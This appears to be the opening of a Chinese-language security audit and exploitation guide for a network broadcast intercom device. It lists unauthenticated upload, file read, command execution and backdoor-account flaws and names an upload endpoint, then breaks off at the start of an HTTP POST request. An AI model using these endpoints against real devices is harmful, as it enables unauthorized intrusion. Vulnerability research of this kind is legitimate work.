某网络广播对讲设备审计
# 网络广播对讲设备安全审计报告与漏洞利用指南
## 0x00 系统概述
该网络广播对讲设备系统存在多处严重安全漏洞，包括但不限于：
- 前台任意文件上传
- 前台任意文件读取
- 前台任意命令执行
- 前台任意文件写入
- 前台任意文件下载
- 未授权访问
- 后门账户
## 0x01 前台任意文件上传漏洞
### 上传点1: `/upload/my_parser.php`
**漏洞描述**：无需认证即可上传任意文件
**利用方法**：
```http
POST /upload/m
2025-08-28 12:33:41
0